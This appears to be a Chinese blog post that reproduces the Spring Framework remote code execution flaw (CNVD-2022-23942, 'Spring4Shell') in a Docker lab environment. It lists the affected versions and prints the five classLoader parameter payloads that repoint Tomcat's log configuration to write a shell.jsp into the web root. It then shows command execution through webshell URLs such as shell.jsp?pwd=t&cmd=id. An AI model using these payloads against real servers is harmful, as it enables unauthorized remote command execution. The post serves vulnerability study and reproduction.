Spring框架远程命令执行漏洞复现

一、漏洞简介

2022年3月31日,国家信息安全漏洞共享平台(CNVD)发布公告预警Spring框架远程命令执行漏洞(CNVD-2022-23942),攻击者利用该漏洞,可在未授权的情况下远程执行命令。

漏洞触发条件如下:

使用JDK9及以上版本的Spring MVC框架

Spring框架以及衍生的框架spring-beans-*.jar文件或者存在

CachedIntrospectionResults.class

漏洞影响版本如下

jdk版本在9及以上的使用了版本低于5.3.18和5.2.20的Spring框架或其衍生框架构建的网站或应用

二、漏洞复现

使用docker搭建SpringCore RCE测试环境

docker pull vulfocus/spring-core-rce-2022-03-29

在8090端口开启spring,环境要基于tomcat

docker run -dit -p 8090:8080 vulfocus/spring-core-rce-2022-03-29

访问8090端口,返回ok,证明启动成功。

开始利用~

(主要是利⽤class对象构造利⽤链,对Tomcat的⽇志配置进行修改,然后,向⽇志中写⼊shell)

具体攻击步骤如下:

先后发送以上5个利用链的请求:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

成功写入shell文件shell.jsp到网站根目录,如下图所示:

下一步写入webshell到网站根目录,POST数据包如下:

Webshell内容简单的命令执行,密码是t,命令执行内容显示“//”前面

 访问ip:8090/shell.jsp?pwd=t&cmd=id ,ip:8090/shell.jsp?pwd=t&cmd=whoami,成功返回结果。

本次复现借鉴 Spring框架远程命令执行漏洞复现及分析 - FreeBuf网络安全行业门户,请参考~

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值